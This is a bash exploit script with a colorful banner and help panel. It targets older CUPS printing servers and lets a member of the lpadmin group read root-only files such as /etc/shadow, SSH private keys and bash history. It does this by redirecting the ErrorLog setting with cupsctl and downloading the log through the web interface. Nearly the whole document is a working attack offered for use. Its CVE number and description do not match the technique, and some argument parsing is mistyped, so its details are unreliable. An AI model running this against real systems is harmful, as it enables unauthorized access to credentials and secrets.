CUPS 1.4.4, when running in certain Linux distributions such as Debian GNU/Linux, stores the web interface administrator key in /var/run/cups/certs/0 using certain permissions, which allows local users in the lpadmin group to read or write arbitrary files as root by leveraging the web interface
#!/usr/bin/env bash# Set colors if the script is running from a terminal[ -t 1 ] && { _RESET=$( tput sgr0 ) _RED=$( tput setaf 1 ) _PINK=$( tput setaf 219 ) _PURPLE=$( tput setaf 200 ) _GREEN=$( tput setaf 10 ) _BLUE=$( tput setaf 159 ) _GREEN=$( tput setaf 83 )}# This ensures that the script can only be run from bash[ -z "$BASH_VERSINFO" ] && { cat << ERROR >&2 $_RED [!] Execution failed. Try to run this script as follows: ${_PURPLE}bash ${0##*/} or ./${0##*/} $_RESETERROR return 1}banner (){ cat << BANNER $_PURPLE โโโโโโโโโโ โโโโโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโโโ โโโโโโโโโโโโโโโโ โโโ โโโโโโ โโโโโโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโ โโโ โโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโ โโโโ โโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโ โโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโ โโโ โโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโโโโโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโโโโโโ โโโ โโโโโโโ โโโโโโโ โโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโโโโโโ โโโ โโโโโโ โญโโโโโโโชโ โซโโโโโโโโโโโโโชโ โซโโโโโโโโโโโโโชโ โซโโโโโโโโโโโโโชโ โซโโโโโโโโโโโโโชโ โซโโโโโโโโโโโโโชโ โซโโโโโฎ โฐโโโโโโโชโ โซโโโโโโโโโโโโโชโ โซโโโโโโโโโโโโโชโ โซโโโโโโโโโโโโโชโ โซโโโโโโโโโโโโโชโ โซโโโโโโโโโโโโโชโ โซโโโโโฏ $_RESETBANNER}showHelp (){ cat << HELP ${_PINK}DESCRIPTION ๐ก This script allows an attacker to exploit the vuln related to the CVE-2019-5519 CVE-DESCRIPTION ๐ก It allows local users in the lpadmin group to read or write arbitrary files as root by leveraging the web interface ${_PURPLE}USAGE: ${0##*/} [-h] [--help] --target <TARGET> --port <PORT> --file <FILE> $_RESET ${_BLUE}POSITONAL ARGUMENTS ๐ก -t | --target ๐ก IP Address of the target where the CUPS service is running -p | --port ๐ก Port on which the CUPS Service is listening -f | --file ๐ก Sensible System File to read e.g. /etc/shadow, /root/.ssh/id_rsa, /root/.bash_history ${_PINK}OPTIONS ๐ก -h | --help ๐ก Displays this help :) $_RESET ${_RED}EXAMPLES ๐ก ${0##*/} -t <TARGET> -p <PORT> -f <FILE> ${0##*/} -t<TARGET> -p<PORT> -f<FILE> ${0##*/} -t=<TARGET> -p=<PORT> -f=<FILE> ${0##*/} --target <TARGET> --port <PORT> --file <FILE> ${0##*/} --target=<TARGET> --port=<PORT> --file=<FILE> $_RESETHELP}checkBash (){ # This function checks that this script is running from a bash instance # https://4l3xbb.github.io/Cyb3rBook/001-SCRIPTING/Bash-Versioning case $( /bin/ps -p "$PPID" -o comm= ) in *bash) return 0 ;; *) printf >&2 \ "\n\t%s[!] Shell not allowed. Try to run this script from a Bash :( %s\n\n" \ "$_RED" "$_RESET" return 1 ;; esac}checkBashVersion (){ # This function implements Bash Versioning to ensure that only > 4.0v Bash # can execute it # https://mywiki.wooledge.org/BashFAQ/061 (( BASH_VERSINFO[0] < 4 )) && { printf >&2 \ "\n\t%s[!] Bash Version < 4.0v(2009 Release). Exiting... %s\n\n" \ "$_RED" "$_RESET" return 1 } return 0}sigint_handler (){ # Proper SIGINT Handler if the Script receives a SIGINT Signal # https://www.cons.org/cracauer/sigint.html printf >&2 \ "\n%s[!] Sigint Signal sent to %s. Exiting... โณ\n\n%s" \ "$_RED" "${0##*/}" "$_RESET" trap - SIGINT kill -SIGINT "$$"}checkDeps (){ # This function checks that all binaries used in this script exist on the system # or in the $PATH parameter of the user running this script local -- _tool= local -a -- _tools=( cupsctl curl timeout ) for _tool in "${_tools[@]}" do command -V "$_tool" &> /dev/null || { printf >&2 \ "%s\n\t[!] It seems that %s is not installed :( %s\n\n" \ "$_RED" "$_tool" "$_RESET" return 1 } done return 0}validateIP (){ # This functions validates the format of the IP Address provided local -- _octet= _IPRegex='^[0-9]{1,3}(\.[0-9]{1,3}){3}$' \ _errorMsg="\n\t${_RED}[!] The provided IP Address is not a valid one :( ${_RESET}\n\n" local -a -- _ip=() [[ $1 =~ $_IPRegex ]] || { printf >&2 "$_errorMsg" ; return 1 ; } IFS=. read -ra _ip <<< "$1" for _octet in "${_ip[@]}" do (( $_octet > 255 )) && { printf >&2 "$_errorMsg" ; return 1 ; } done return 0}validateFile (){ # This functions ensures that the argument provided is a system file (existing or not) local -- _fileRegex='^(\./|/)?([^/]+/)*[^/]+$' [[ $1 =~ $_fileRegex ]] || { printf >&2 \ "\n\t%s[!] %s is not a valid file format %s\n\n" \ "$_RED" "$1" "$_RESET" return 1 } return 0}checkPort (){ # This functions checks if the provided port is open in the specified target local -- _host=$1 _port=$2 timeout 2 bash -c "echo '' > /dev/tcp/${_host}/$_port" &> /dev/null (( $? == 0 )) || { printf >&2 \ "\n\t%s[!] %s is closed or filtered :( %s\n\n" \ "$_RED" "$_port" "$_RESET" return 1 } return 0}checkLPAdmin (){ # This function checks that the current user running the script belongs to the lpadmin system group local -- _group=lpadmin [[ $( id -nG ) == *'lpadmin'* ]] || { printf >&2 \ "\n\t%s[!] The user %s does not belong to the %s group %s\n\n" \ "$_RED" "$( id -un )" "$_group" "$_RESET" return 1 } return 0}checkCupsVersion (){ # This function checks if the CUPS Version running on the system is vulnerable by extracting its version # To be vulnerable, it has to be lower or equal than 1.6v local -- _host=$1 _port=$2 _httpStatusCode= _headerValue= \ _cupsRegex='CUPS/([0-9]+\.[0-9]+)' local -a -- _cupsVersion=() validateIP "$_host" || return 1 checkPort "${_optArgs[target]}" "${_optArgs[port]}" || return 1 _httpStatusCode=$( curl --silent \ --location \ --request GET \ --output /dev/null \ --write-out '%{http_code}' \ "http://${_host}:$_port" ) (( $_httpStatusCode != 200 )) && { printf >&2 \ "\n\t%s[!] Error: %s HTTP Status Code %s\n\n" \ "$_RED" "$_httpStatusCode" "$_RESET" return 1 } while IFS=':' read -r _ _headerValue do if [[ ${_headerValue#*[[:space:]]} =~ $_cupsRegex ]] ; then IFS=. read -ra _cupsVersion <<< "${BASH_REMATCH[1]}" fi done < <( curl --silent \ --location \ --request GET \ --head \ "http://${_host}:$_port" ) (( ${#_cupsVersion[@]} == 0 )) && { printf >&2 \ "\n\t%s[!] Could not determine CUPS version %s\n\n" \ "$_RED" "$_RESET" return 1 } (( _cupsVersion[0] < 1 || ( _cupsVersion[0] == 1 && _cupsVersion[1] <= 6 ) )) || { local -- IFS=. printf >&2 \ "\n\t%s[!] CUPS Version (%s) is not vulnerable (CUPSv > 1.6)%s\n\n" \ "$_RED" "${_cupsVersion[*]}" "$_RESET" return 1 } local -- IFS=. printf \ "\n%s[+] The CUPS Version is a valid one: %sCUPS %sv %s\n" \ "$_PURPLE" "$_BLUE" "${_cupsVersion[*]}" "$_RESET" return 0}cupsConfigBackup (){ # This function makes a backup of the cupsd.conf configuration file and stores it # on /tmp as cupsd.conf.bk local -- _file=/etc/cups/cupsd.conf _hostname=$( hostname --long ) [[ -f $_file ]] || { printf >&2 \ "\n\t%s[!] The %s file does not exist in %s :( %s\n\n" \ "$_RED" "$_file" "$_hostname" "$_RESET" return 1 } cp "${_file}" /tmp/"${_file##*/}".bk &> /dev/null (( $? == 0 )) || { printf >&2 \ "\n\t%s[!] The backup of %s failed :( %s\n\n" \ "$_RED" "$_file" "$_RESET" return 1 } [[ -f /tmp/${_file#|#*/}.bk ]] && { printf \ "\n%s[+] %s backup done in /tmp %s\n" \ "$_PURPLE" "$_file" "$_RESET" return 0 }}cupsModify (){ # This function modifies the ErrorLog Configuration Parameter of the cupsd.conf file to set the error log # file as the file passed as argument to the function # Then, it makes a HTTP Request to CUPS to show the content of the provided file local -- _host=$1 _port=$2 _file=$3 _hostname=$( hostname --long ) \ _httpRequest= _httpStatusCode= _httpResponseBody= validateFile "$_file" || return 1 cupsConfigBackup || return 1 cupsctl ErrorLog="$_file" WebInterface=Yes &> /dev/null (( $? == 0 )) || { printf >&2 \ "\n%s[!] Something went wrong trying to modify the ErrorLog Parameter from %s :( %s\n\n" \ "$_RED" "$_file" "$_RESET" return 1 } printf \ "\n%s[+] ErrorLog configuration parameter modified to %s%s%s\n" \ "$_PURPLE" "$_BLUE" "$_file" "$_RESET" printf \ "\n%s[+] Requesting the content of %s%s%s using the CUPS Web Interface via HTTP โณ...%s\n" \ "$_PURPLE" "$_BLUE" "$_file" "$_PURPLE" "$_RESET" _httpRequest=$( curl --silent \ --location \ --request GET \ --write-out '%{http_code}' \ "http://${_host}:$_port/admin/log/error_log" ) _httpStatusCode=$( tail -n 1 <<< "$_httpRequest" ) _httpResponseBody=$( awk '{ print body } { body = $0 }' <<< "$_httpRequest" ) (( $_httpStatusCode != 200 )) && { printf >&2 \ "\n%s[!] Something went wrong trying to request the content of the provided file %s\n\n" \ "$_RED" "$_RESET" return 1 } printf \ "\n%s[+]%s %s ๐ก %s\n%s\n\n" \ "$_PURPLE" "$_BLUE" "$_file" "$_RESET" "$_httpResponseBody" return 0}main (){ local -A -- _flags=() local -A -- _optArgs=() (( $# == 0 )) && { cat << ERROR ${_RED}[!] Incorrect number of arguments: $# ${_PINK}[!] Try -h | --help to display the Help Panel :) $_RESETERROR exit 99 } while (( $# > 0 )) do [[ $1 == -[tpf]?* ]] && set -- "${1:0:2}" "${1:2}" "${@:2}" && continue # -tvalue -pvalue -fvalue format [[ $1 == -@(-target|t)=?* ]] && set -- "${1=*}" "${1#*=}" "${@:2}" && continue # -p=value | --port=value format [[ $1 == -@(-file|f)=?* ]] && set -- "${1%%=*}" "${1#*=}" "${@:2}" && continue # -f=value | --file=value format case $1 in -t | --target ) (( _flags[t]++ )) _optArgs[target]=$2 shift ;; -p | --port ) ((_flags[p]++ )) _optArgs[port]=$2 shift ;; -f | --file ) (( _flags[f]++ )) _optArgs[file]=$2 shift ;; -h | --help ) showHelp ; exit 0 ;; -- ) shift ; break ;; * ) printf >&2 \ "\n\t%s[!] Unknown option: %s. Try -h | --help to display the Help Panel :) %s\n\n" \ "$_RED" "$1" "$_RESET" exit 99 ;; esac shift done [[ -z ${_flags[t]} || -z ${_optArgs[target]} ]] && { printf >&2 \ "\n\t%s[!] The target/host must be provided. Try -h | --help to display the Help Panel :) %s\n\n" \ "$_RED" "$_RESET" exit 99 } [[ -z ${_flags[p]} || -z ${_optArgs[port]} ]] && { printf >&2 \ "\n\t%s[!] A Port must be provided. Try -h | --help to display the Help Panel%s\n\n" \ "$_RED" "$_RESET" exit 99 } [[ -z ${_flags[f]} || -z ${_optArgs[file]} ]] && { printf >&2 \ "\n\t%s[!] A File must be provided. Try -h | --help to display the Help Panel%s\n\n" \ "$_RED" "$_RESET" exit 99 } checkDeps || exit 99 checkLPAdmin || exit 99 checkCupsVersion "${_optArgs[target]}" "${_optArgs[port]}" || exit 99 cupsModify "${_optArgs[target]}" "${_optArgs[port]}" "${_optArgs[file]}" || exit 99}trap sigint_handler SIGINTbannercheckBash || exit 99checkBashVersion || exit 99main "${@}"